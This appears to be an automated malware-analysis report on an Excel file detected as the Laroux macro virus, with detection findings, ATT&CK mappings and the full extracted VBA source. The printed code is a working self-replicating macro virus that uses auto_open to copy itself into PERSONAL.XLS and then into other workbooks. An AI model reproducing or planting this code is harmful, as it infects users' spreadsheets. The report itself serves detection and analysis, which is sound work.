MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The file is identified as a known Excel macro virus, specifically Xls.Trojan.Laroux-14, by multiple heuristics and ClamAV. The VBA script contains an Auto_Open macro designed to copy itself into the PERSONAL.XLS workbook, a common technique for establishing persistence. This allows the malware to execute automatically whenever Excel is launched.
Heuristics 4
-
ClamAV: Xls.Trojan.Laroux-14 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.Laroux-14
-
Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUSLegacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4000 bytes |
SHA-256: 6fc043b2432ab43eb009848b952c0dd45770e6f7a4853d328c0ea4ab51ff53c3 |
|||
|
Detection
ClamAV:
Xls.Trojan.Laroux-14
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "kustyk"
Dim OldMacro$
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = "check_kustyk"
End Sub
Sub check_kustyk()
Attribute check_kustyk.VB_ProcData.VB_Invoke_Func = " \n14"
Dim WhichFile
Dim Dopisal As Boolean
c4$ = CurDir()
c$ = Application.StartupPath
mp$ = c$ & "\" & "PERSONAL.XLS"
m$ = Dir(mp$)
Application.ScreenUpdating = False
WhichFile = 0
If m$ <> "PERSONAL.XLS" Then
WhichFile = 1
Else
WhichFile = 2
If Workbooks("PERSONAL.XLS").Modules.Count > 0 Then
For i = 1 To Workbooks("PERSONAL.XLS").Modules.Count
If Workbooks("PERSONAL.XLS").Modules(i).Name = "kustyk" Then
WhichFile = WhichFile + 1
Exit For
End If
Next
End If
If WhichFile > 2 Then
If ActiveWorkbook.Modules.Count > 0 Then
For i = 1 To ActiveWorkbook.Modules.Count
If ActiveWorkbook.Modules(i).Name = "kustyk" Then
WhichFile = WhichFile + 1
Exit For
End If
Next
End If
End If
End If
ChDir c4$
Select Case WhichFile
Case 1
On Error GoTo Blad_Zapisu1
n4$ = ActiveWorkbook.Name
Sheets("kustyk").Visible = True
Sheets("kustyk").Select
Sheets("kustyk").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = ""
End With
newname$ = ActiveWorkbook.Name
Modules.Add
Sheets("kustyk").Visible = False
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "PERSONAL.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
Application.OnSheetActivate = "personal.xls!check_kustyk"
GoTo Pracuj_Dalej1
Blad_Zapisu1:
Application.OnSheetActivate = ""
Pracuj_Dalej1:
On Error GoTo 0
ChDir c4$
Windows(n4$).Visible = True
Workbooks(n4$).Sheets("kustyk").Visible = False
Case 2
n4$ = ActiveWorkbook.Name
On Error GoTo Blad_Zapisu2
Sheets("kustyk").Visible = True
Sheets("kustyk").Select
Windows("PERSONAL.XLS").Visible = True
Workbooks(n4$).Sheets("kustyk").Copy before:=Workbooks("PERSONAL.XLS").Sheets(1)
Workbooks("PERSONAL.XLS").Sheets("kustyk").Visible = False
Windows("PERSONAL.XLS").Visible = False
Workbooks("PERSONAL.XLS").Save
Application.OnSheetActivate = "personal.xls!check_kustyk"
GoTo Pracuj_Dalej2
Blad_Zapisu2:
Windows("PERSONAL.XLS").Visible = False
Application.OnSheetActivate = ""
Pracuj_Dalej2:
On Error GoTo 0
Workbooks("PERSONAL.XLS").Saved = True
Sheets("kustyk").Visible = False
Case 3
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "kustyk" Then
Workbooks("PERSONAL.XLS").Sheets("kustyk").Visible = True
Workbooks("PERSONAL.XLS").Sheets("kustyk").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks("PERSONAL.XLS").Sheets("kustyk").Visible = False
Workbooks(n4$).Sheets("kustyk").Visible = False
Workbooks("PERSONAL.XLS").Save
End If
Application.OnSheetActivate = ""
Application.OnSheetActivate = "personal.xls!check_kustyk"
Case Else
End Select
Application.ScreenUpdating = True
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.